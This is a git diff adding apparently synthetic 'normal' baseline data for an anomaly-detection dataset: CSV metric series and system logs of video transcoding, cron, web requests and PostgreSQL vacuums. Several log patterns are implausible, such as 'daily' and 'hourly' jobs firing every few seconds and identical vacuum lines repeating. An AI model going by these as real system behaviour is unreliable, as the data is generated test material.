transcoding. +Aug 21 14:00:20 transcoding-worker[5555]: INFO: Starting transcoding job #987 for 'family_vacation_2025.mov'. +Aug 21 14:00:22 transcoding-worker[5555]: INFO: FFmpeg process started with pid 12345. +Aug 21 14:00:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:00:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:01:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:01:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:01:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:02:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:02:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:02:20 transcoding-worker[5555]: INFO: Transcoding to 1080p successful. +Aug 21 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:02:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:03:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:03:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:03:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:04:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:04:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:04:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:04:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:04:50 transcoding-worker[5555]: INFO: Transcoding to 720p successful. +Aug 21 14:05:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:05:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:05:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:06:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:06:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:06:30 transcoding-worker[5555]: INFO: Transcoding to 480p successful. +Aug 21 14:06:40 transcoding-worker[5555]: INFO: Transcoding job #987 completed successfully. Output files saved to storage. +Aug 21 14:06:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 14:06:55 queue-service[4101]: INFO Monitoring job queue. +Aug 21 14:07:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_12/norm_12_5.csv b/norm_dataset/scenario_12/norm_12_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..3411b2171d394ec5de868e56906d625b27116346 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,11.84,31.46,5.47,1.06,1.39 +2025-08-15T10:00:05Z,11.84,32.0,4.64,0.99,0.73 +2025-08-15T10:00:10Z,12.8,28.91,6.24,1.27,1.12 +2025-08-15T10:00:15Z,10.12,31.7,5.12,0.66,1.23 +2025-08-15T10:00:20Z,8.28,31.1,4.42,0.73,0.98 +2025-08-15T10:00:25Z,11.75,31.62,5.36,0.54,1.07 +2025-08-15T10:00:30Z,8.06,32.46,3.99,1.37,1.21 +2025-08-15T10:00:35Z,7.55,30.15,5.05,0.74,1.33 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+2025-08-15T10:07:20Z,9.07,31.56,6.06,1.03,0.96 +2025-08-15T10:07:25Z,7.66,27.69,6.08,1.27,1.32 diff --git a/norm_dataset/scenario_12/norm_12_5.log b/norm_dataset/scenario_12/norm_12_5.log new file mode 100644 index 0000000000000000000000000000000000000000..57beb8416ffccb9a9cdf948dd2d38900870bdf7d --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_5.log @@ -0,0 +1,18 @@ +Aug 15 10:00:00 CRON[4313]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:50 queue-service[3301]: INFO: Received new video upload 'wedding_final.mp4'. Queueing for transcoding. +Aug 15 10:01:00 transcode-worker[4588]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 15 10:01:01 transcode-worker[4588]: INFO: FFmpeg process started. +Aug 15 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:50 transcode-worker[4588]: INFO: Transcoding to 1080p successful. +Aug 15 10:02:05 CRON[4845]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:40 transcode-worker[4588]: INFO: Transcoding to 720p successful. +Aug 15 10:03:30 transcode-worker[4588]: INFO: Transcoding to 480p successful. +Aug 15 10:03:45 systemd[1]: Starting daily clean up activities... +Aug 15 10:04:10 CRON[4595]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:20 transcode-worker[4588]: INFO: Transcoding job #555 completed successfully. +Aug 15 10:04:45 queue-service[3301]: INFO: Notified user of successful transcoding for 'wedding_final.mp4'. +Aug 15 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:15 CRON[4976]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:15 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_12/norm_12_6.csv b/norm_dataset/scenario_12/norm_12_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..40673d6f0ce05c0fdfa5f580c286b03954f78fc9 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,9.4,42.93,20.64,1.51,0.85 +2025-08-15T14:00:05Z,10.19,41.05,32.66,0.72,1.49 +2025-08-15T14:00:10Z,9.01,46.78,28.27,1.08,0.64 +2025-08-15T14:00:15Z,10.27,44.82,36.19,1.25,0.91 +2025-08-15T14:00:20Z,9.12,44.71,29.39,1.35,0.7 +2025-08-15T14:00:25Z,10.02,41.75,34.0,1.62,1.47 +2025-08-15T14:00:30Z,10.28,43.86,30.18,1.13,1.06 +2025-08-15T14:00:35Z,13.77,45.43,33.03,1.61,1.07 +2025-08-15T14:00:40Z,11.83,45.52,29.62,1.77,1.22 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+2025-08-15T14:07:15Z,7.48,49.79,26.07,1.66,0.89 +2025-08-15T14:07:20Z,11.39,52.33,20.68,1.27,0.92 +2025-08-15T14:07:25Z,9.62,51.61,28.41,1.37,0.85 diff --git a/norm_dataset/scenario_12/norm_12_6.log b/norm_dataset/scenario_12/norm_12_6.log new file mode 100644 index 0000000000000000000000000000000000000000..8f9dc641266b4635745fcc4224bbfce7972fcaaa --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_6.log @@ -0,0 +1,14 @@ +Aug 15 14:00:00 systemd[1]: Starting daily user session cleaning... +Aug 15 14:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:00:20 systemd[1]: Starting daily user session cleaning... +Aug 15 14:00:35 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:00:40 systemd[1]: Starting daily user session cleaning... +Aug 15 14:00:50 queue-service[1001]: INFO Received new video upload 'wedding_final.mp4'. Queueing for transcoding. +Aug 15 14:01:00 transcoder-worker[2034]: INFO FFmpeg process started with PID 12345. +Aug 15 14:01:00 transcoder-worker[2034]: INFO Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 15 14:03:20 transcoder-worker[2034]: INFO Transcoding to 720p successful. +Aug 15 14:05:25 transcoder-worker[2034]: INFO Transcoding to 480p successful. +Aug 15 14:05:50 transcoder-worker[2034]: INFO Transcoding job #555 for 'wedding_final.mp4' completed successfully. +Aug 15 14:06:15 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 15 14:06:40 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 15 14:07:05 web-app[3456]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_7.csv b/norm_dataset/scenario_12/norm_12_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..781df9c8669a9b8306cdb575bd474832dfa97e5c --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_7.csv @@ -0,0 +1,91 @@ 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Starting daily clean up activities... +Aug 27 10:00:15 web-app[3451]: GET /api/v1/status status=200 OK +Aug 27 10:00:25 web-app[3451]: INFO: Received new video upload 'vacation_highlights.mov'. Queueing for transcoding. +Aug 27 10:00:30 queue-worker[7890]: INFO: Job 'transcode-video' enqueued with id #821. +Aug 27 10:01:15 transcode-worker[5522]: INFO: Starting transcoding job #821 for 'vacation_highlights.mov'. +Aug 27 10:01:20 transcode-worker[5522]: INFO: FFmpeg process started with pid 4567. Reading source file. +Aug 27 10:02:05 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:55 transcode-worker[5522]: INFO: Transcoding 'vacation_highlights.mov' to 1080p successful. +Aug 27 10:03:20 systemd[1]: Starting session c5 of user root. +Aug 27 10:04:10 transcode-worker[5522]: INFO: Transcoding 'vacation_highlights.mov' to 720p successful. +Aug 27 10:05:25 transcode-worker[5522]: INFO: Transcoding 'vacation_highlights.mov' to 480p successful. +Aug 27 10:05:50 web-app[3451]: GET /api/v1/user/45 status=200 OK +Aug 27 10:06:15 transcode-worker[5522]: INFO: FFmpeg process 4567 finished successfully. +Aug 27 10:06:20 transcode-worker[5522]: INFO: Transcoding job #821 for 'vacation_highlights.mov' completed. Output files saved to storage. +Aug 27 10:06:25 web-app[3451]: POST /api/v1/notifications status=202 Accepted +Aug 27 10:07:05 CRON[6150]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:20 web-app[3451]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_8.csv b/norm_dataset/scenario_12/norm_12_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..d1bbd81bf96b70680df472d0c906303cd1387986 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,disk_io,mem_usage,net_in,net_out +2025-08-27T10:00:00Z,12.15996665318734,33.899027783140845,37.83136802570931,1.3350765904480446,0.7746376967484412 +2025-08-27T10:00:05Z,14.63470403393833,35.315336285242964,40.681305583290026,0.9344268126420539,0.6237785681245449 +2025-08-27T10:00:10Z,15.831613267350516,28.00494227238647,38.180792000313375,1.4578069831263458,0.735216644342009 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Starting daily clean up activities... +Aug 27 10:00:25 web-app[3451]: GET /api/v1/status status=200 OK +Aug 27 10:00:50 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:00 web-app[3451]: INFO: Received new video upload 'family_vacation_4k.mov'. +Aug 27 10:01:05 web-app[3451]: INFO: Queueing for transcoding. +Aug 27 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:01:30 transcoding-worker[5521]: INFO: Starting transcoding job #8821 for 'family_vacation_4k.mov'. +Aug 27 10:01:35 transcoding-worker[5521]: INFO: FFmpeg process started with PID 9876. +Aug 27 10:02:05 transcoding-worker[5521]: INFO: Transcoding 'family_vacation_4k.mov' to 1080p... +Aug 27 10:03:00 transcoding-worker[5521]: INFO: Transcoding to 1080p successful. +Aug 27 10:03:20 transcoding-worker[5521]: INFO: Transcoding 'family_vacation_4k.mov' to 720p... +Aug 27 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 27 10:05:00 transcoding-worker[5521]: INFO: Transcoding to 720p successful. +Aug 27 10:05:25 transcoding-worker[5521]: INFO: Transcoding 'family_vacation_4k.mov' to 480p... +Aug 27 10:06:30 transcoding-worker[5521]: INFO: Transcoding to 480p successful. +Aug 27 10:06:35 transcoding-worker[5521]: INFO: Uploading transcoded files to storage bucket. +Aug 27 10:06:40 transcoding-worker[5521]: INFO: Transcoding job #8821 for 'family_vacation_4k.mov' finished. +Aug 27 10:07:05 systemd[1]: Starting daily clean up activities... +Aug 27 10:07:20 web-app[3451]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_9.csv b/norm_dataset/scenario_12/norm_12_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..0b48719473f0627da3fc6156ed09df5c3dd2bca6 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-15T10:07:20Z,16.96833136222139,38.45648656881641,33.589814358761956,1.4126473680416864,1.3500440995992644 +2025-07-15T10:07:25Z,13.714321013913935,37.378147718522385,29.763305577766552,1.4030140163848872,1.0694936291677757 diff --git a/norm_dataset/scenario_12/norm_12_9.log b/norm_dataset/scenario_12/norm_12_9.log new file mode 100644 index 0000000000000000000000000000000000000000..dc93009ad2906f0a67c7a789daf6857553901870 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_9.log @@ -0,0 +1,13 @@ +Jul 15 10:00:05 systemd[1]: Starting daily user session clean up... +Jul 15 10:00:30 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:00 media-server[2051]: INFO: Received new video upload 'family_vacation_4k.mov'. Queueing for transcoding. +Jul 15 10:01:05 transcoding-worker[3112]: INFO: Starting transcoding job #882 for 'family_vacation_4k.mov'. +Jul 15 10:01:07 transcoding-worker[3112]: INFO: FFmpeg process started with pid 3125. +Jul 15 10:01:35 transcoding-worker[3112]: INFO: Transcoding to 1080p successful. +Jul 15 10:02:53 transcoding-worker[3112]: INFO: Transcoding to 720p successful. +Jul 15 10:04:11 transcoding-worker[3112]: INFO: Transcoding to 480p successful. +Jul 15 10:05:30 transcoding-worker[3112]: INFO: Transcoding to 360p successful. +Jul 15 10:06:00 transcoding-worker[3112]: INFO: FFmpeg process 3125 finished successfully. +Jul 15 10:06:03 transcoding-worker[3112]: INFO: All resolutions for 'family_vacation_4k.mov' completed. Job #882 finished. +Jul 15 10:06:40 systemd[1]: Starting daily package update check... +Jul 15 10:07:05 web-app[1234]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_1.csv b/norm_dataset/scenario_13/norm_13_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..a57d552a53b0711bc09ab43cbce08d63d848e64e --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T22:00:00Z,15.99,40.19,33.13,1.29,0.9 +2025-08-20T22:00:05Z,14.72,41.94,25.71,0.71,1.11 +2025-08-20T22:00:10Z,16.3,38.6,24.65,1.23,0.78 +2025-08-20T22:00:15Z,18.05,39.34,32.41,1.0,0.88 +2025-08-20T22:00:20Z,14.53,39.22,28.88,0.8,0.94 +2025-08-20T22:00:25Z,14.53,37.07,33.57,1.09,0.72 +2025-08-20T22:00:30Z,18.16,40.59,32.37,1.04,0.84 +2025-08-20T22:00:35Z,16.53,40.52,29.64,0.88,0.8 +2025-08-20T22:00:40Z,14.06,40.01,25.77,1.01,0.82 +2025-08-20T22:00:45Z,16.09,39.53,22.43,0.92,0.65 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+2025-08-20T22:07:20Z,13.94,39.47,27.8,1.06,0.7 +2025-08-20T22:07:25Z,16.03,45.44,30.65,0.83,0.59 diff --git a/norm_dataset/scenario_13/norm_13_1.log b/norm_dataset/scenario_13/norm_13_1.log new file mode 100644 index 0000000000000000000000000000000000000000..92f65efc371650a8578945e62c69b524edbc3670 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_1.log @@ -0,0 +1,11 @@ +Aug 20 22:00:05 postgres[1234]: LOG: connection received: host=127.0.0.1 port=5432 +Aug 20 22:00:25 postgres[1234]: LOG: connection authorized: user=app_user database=prod_db +Aug 20 22:01:15 web-app[5678]: GET /api/v1/status status=200 OK +Aug 20 22:02:05 postgres[1234]: LOG: statement: SELECT * FROM users WHERE id = 123; +Aug 20 22:02:30 postgres[1234]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen; CPU: 0.15s/0.10u sec elapsed 0.50 sec +Aug 20 22:03:20 web-app[5678]: GET /api/v1/products/45 status=200 OK +Aug 20 22:04:10 postgres[1234]: LOG: checkpoint starting: time +Aug 20 22:05:00 postgres[1234]: LOG: checkpoint complete: wrote 819 buffers (5.0%); 0 WAL file(s) added, 0 removed, 1 recycled; write=15.2s, sync=0.1s, total=15.5s; +Aug 20 22:05:50 web-app[5678]: POST /api/v1/orders status=201 Created +Aug 20 22:06:40 postgres[1234]: LOG: connection received: host=127.0.0.1 port=5432 +Aug 20 22:07:20 postgres[1234]: LOG: connection authorized: user=app_user database=prod_db diff --git a/norm_dataset/scenario_13/norm_13_10.csv b/norm_dataset/scenario_13/norm_13_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..5b533810de31b928ec94b5fc8d4d48292d61b968 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,memory_usage,disk_io,network_traffic +1698314400,17.23291079153539,35.00004449907126,11.112385915202807,4.48524462221574 +1698314405,20.23163341400676,35.421444583753136,11.609230061283329,3.536905055394219 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b/norm_dataset/scenario_13/norm_13_10.log new file mode 100644 index 0000000000000000000000000000000000000000..2965dce91877372287d9f8a9251e97dc86b441d1 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_10.log @@ -0,0 +1,17 @@ +2023-10-26 10:00:25.000 UTC [1121] LOG: checkpoint starting: time +2023-10-26 10:00:50.000 UTC [1121] LOG: checkpoint complete: wrote 85 buffers (0.5%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.105 s, sync=0.002 s, total=0.115 s; sync files=10, longest=0.002 s, average=0.001 s; distance=358 kB, estimate=358 kB +2023-10-26 10:01:15.000 UTC [2501] LOG: connection received: host=127.0.0.1 port=54321 +2023-10-26 10:01:20.000 UTC [2501] LOG: connection authorized: user=app_user database=prod_db +2023-10-26 10:02:05.000 UTC [2501] LOG: disconnection: session time: 0:00:50.123 user=app_user database=prod_db host=127.0.0.1 port=54321 +2023-10-26 10:02:35.000 UTC [1120] LOG: starting automatic vacuum of table "prod_db.public.user_sessions" +2023-10-26 10:03:20.000 UTC [1120] INFO: vacuuming "pg_toast.pg_toast_2619" +2023-10-26 10:03:45.000 UTC [1120] INFO: vacuuming "public.user_sessions" +2023-10-26 10:04:10.000 UTC [1120] INFO: index "user_sessions_pkey" now contains 150000 row versions in 3500 pages +2023-10-26 10:04:15.000 UTC [1120] INFO: index "idx_user_sessions_on_user_id" now contains 150000 row versions in 4800 pages +2023-10-26 10:04:50.000 UTC [1120] LOG: automatic vacuum of table "prod_db.public.user_sessions": index scans: 2, pages: 0 removed, 2580 reclaimed, 12450 scanned; tuples: 15000 removed, 150000 remain, 0 are dead but not yet removable +2023-10-26 10:04:55.000 UTC [1120] LOG: duration: 144583.125 ms +2023-10-26 10:05:25.000 UTC [3100] LOG: connection received: host=127.0.0.1 port=54322 +2023-10-26 10:05:30.000 UTC [3100] LOG: connection authorized: user=monitoring_agent database=prod_db +2023-10-26 10:06:00.000 UTC [1121] LOG: checkpoint starting: time +2023-10-26 10:06:30.000 UTC [3100] LOG: disconnection: session time: 0:00:35.456 user=monitoring_agent database=prod_db host=127.0.0.1 port=54322 +2023-10-26 10:06:40.000 UTC [1121] LOG: checkpoint complete: wrote 120 buffers (0.8%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.150 s, sync=0.003 s, total=0.165 s; sync files=15, longest=0.002 s, average=0.001 s; distance=450 kB, estimate=450 kB diff --git a/norm_dataset/scenario_13/norm_13_11.csv b/norm_dataset/scenario_13/norm_13_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..58c4bd9582a093e42714a45c44cc0901f9107fce --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,13.745401188473625,36.19594245938302,26.82132702100517,1.3093611554785136,0.8881699262065219 +2025-08-27T10:00:05Z,19.50714306409916,42.132447872229946,22.269470424811782,1.3101133946791808,1.1432882184423532 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b/norm_dataset/scenario_13/norm_13_11.log new file mode 100644 index 0000000000000000000000000000000000000000..cf2dd596befa5f002be5856cd8b5edb21488cf39 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_11.log @@ -0,0 +1,20 @@ +Aug 27 10:00:05 web-app[3456]: GET /api/v1/health status=200 OK +Aug 27 10:00:30 systemd[1]: Starting daily backup activities... +Aug 27 10:00:55 web-app[3456]: POST /api/v1/login status=200 OK +Aug 27 10:01:10 web-app[3456]: GET /api/v1/dashboard status=200 OK +Aug 27 10:01:45 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:00 web-app[3456]: GET /api/v1/settings status=200 OK +Aug 27 10:02:25 systemd[1]: Daily backup activities completed. +Aug 27 10:02:50 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 27 10:03:05 db-postgres[5678]: INFO: automatic vacuum of table "public.user_events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:15 db-postgres[5678]: INFO: vacuuming "public.user_events" +Aug 27 10:03:30 db-postgres[5678]: INFO: index "user_events_pkey" now contains 150000 row versions in 3500 pages +Aug 27 10:03:45 db-postgres[5678]: INFO: "user_events": found 5000 removable, 150000 nonremovable row versions in 8000 out of 20000 pages +Aug 27 10:03:55 db-postgres[5678]: INFO: automatic vacuum of table "public.user_events" completed: 5000 rows removed, 150000 rows remaining +Aug 27 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod postgres-deployment +Aug 27 10:04:40 web-app[3456]: GET /api/v1/data status=200 OK +Aug 27 10:05:05 web-app[3456]: GET /api/v1/data status=200 OK +Aug 27 10:05:30 systemd[1]: Starting session cleanup... +Aug 27 10:05:55 web-app[3456]: GET /api/v1/data status=200 OK +Aug 27 10:06:30 web-app[3456]: GET /api/v1/data status=200 OK +Aug 27 10:07:00 web-app[3456]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_12.csv b/norm_dataset/scenario_13/norm_13_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..16baee2cd0afa5b822cef6481973a2545112c3f3 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,18.05,47.81,16.43,1.32,1.03 +2025-07-16T10:00:05Z,12.4,44.65,10.59,0.97,0.9 +2025-07-16T10:00:10Z,15.1,37.9,22.35,0.64,1.06 +2025-07-16T10:00:15Z,16.56,43.24,17.15,1.13,0.64 +2025-07-16T10:00:20Z,16.71,43.23,25.95,1.03,0.57 +2025-07-16T10:00:25Z,10.53,44.49,22.18,0.57,0.65 +2025-07-16T10:00:30Z,15.65,38.68,20.84,1.11,0.55 +2025-07-16T10:00:35Z,15.03,50.55,18.56,1.23,0.64 +2025-07-16T10:00:40Z,16.67,40.55,20.76,0.52,0.89 +2025-07-16T10:00:45Z,14.29,46.09,20.47,0.68,1.32 +2025-07-16T10:00:50Z,16.59,42.68,21.56,0.98,1.36 +2025-07-16T10:00:55Z,13.26,45.52,17.91,0.71,1.12 +2025-07-16T10:01:00Z,11.7,45.78,11.4,1.01,1.21 +2025-07-16T10:01:05Z,16.06,46.64,18.87,0.81,0.92 +2025-07-16T10:01:10Z,15.57,44.26,16.67,1.06,1.37 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b/norm_dataset/scenario_13/norm_13_12.log @@ -0,0 +1,19 @@ +Jul 16 10:00:25 api-server[1122]: GET /v1/health status=200 OK +Jul 16 10:00:50 api-server[1122]: POST /v1/login user='admin' status=200 OK +Jul 16 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:40 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:05 api-server[1122]: GET /v1/metrics status=200 OK +Jul 16 10:02:30 api-server[1122]: GET /v1/users/34 status=200 OK +Jul 16 10:03:05 postgres[3101]: INFO: starting automatic vacuum of table "mydb.public.user_events" +Jul 16 10:03:35 postgres[3101]: INFO: automatic vacuum of table "mydb.public.user_events": index scans: 1, pages: 0 removed, 5032 remaining, 0 skipped due to pins, 11 skipped frozen +Jul 16 10:03:35 postgres[3101]: INFO: avg read rate: 50.25 MB/s, avg write rate: 25.10 MB/s +Jul 16 10:03:35 postgres[3101]: INFO: buffer usage: 13200 hits, 4500 misses, 2800 dirtied +Jul 16 10:03:35 postgres[3101]: INFO: pages: 0 removed, 12000 total; tuples: 1500 removed, 850000 total +Jul 16 10:03:35 postgres[3101]: INFO: system usage: CPU: user: 2.50 s, system: 0.85 s, elapsed: 35.50 s +Jul 16 10:04:20 postgres[3101]: INFO: automatic vacuum finished for table "mydb.public.user_events" +Jul 16 10:05:00 api-server[1122]: GET /v1/health status=200 OK +Jul 16 10:05:25 api-server[1122]: GET /v1/users/99 status=200 OK +Jul 16 10:05:50 systemd[1]: Daily clean up activities finished. +Jul 16 10:06:15 api-server[1122]: POST /v1/logout user='admin' status=200 OK +Jul 16 10:06:40 api-server[1122]: GET /v1/metrics status=200 OK +Jul 16 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod api-server-xyz diff --git a/norm_dataset/scenario_13/norm_13_13.csv b/norm_dataset/scenario_13/norm_13_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..8dde269a4332db7b9f1b95416b174af24fd9b39b --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_13.csv @@ -0,0 +1,91 @@ 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+2025-08-27T10:06:35Z,9.04,38.49,28.87,0.96,0.79 +2025-08-27T10:06:40Z,14.34,38.22,20.37,1.06,0.88 +2025-08-27T10:06:45Z,16.07,38.37,24.7,1.3,0.79 +2025-08-27T10:06:50Z,19.43,39.85,8.79,1.17,0.39 +2025-08-27T10:06:55Z,13.45,40.68,19.88,0.97,0.78 +2025-08-27T10:07:00Z,12.57,40.55,23.74,1.0,0.54 +2025-08-27T10:07:05Z,13.49,41.65,18.76,0.8,0.93 +2025-08-27T10:07:10Z,17.75,40.03,33.16,1.0,0.87 +2025-08-27T10:07:15Z,15.99,42.91,17.85,0.94,0.61 +2025-08-27T10:07:20Z,13.41,39.47,22.8,1.06,0.7 +2025-08-27T10:07:25Z,16.54,45.44,25.65,0.83,0.59 diff --git a/norm_dataset/scenario_13/norm_13_13.log b/norm_dataset/scenario_13/norm_13_13.log new file mode 100644 index 0000000000000000000000000000000000000000..a6b9aa418de4fe383065cfc540f4dd4fadefb52c --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_13.log @@ -0,0 +1,20 @@ +Aug 27 10:01:15 web-app[1234]: GET /api/v1/user/profile status=200 OK +Aug 27 10:01:35 systemd[1]: Starting daily clean up activities... +Aug 27 10:02:15 web-app[1234]: GET /api/v1/user/profile status=200 OK +Aug 27 10:02:32 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:02:55 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:10 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:45 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:50 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:15 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:25 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:50 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:05 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:25 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:35 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:45 postgres[4123]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 visited, 128 dead, 0 scanned workers, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:00 web-app[1234]: GET /api/v1/user/profile status=200 OK +Aug 27 10:06:30 web-app[1234]: GET /api/v1/user/profile status=200 OK +Aug 27 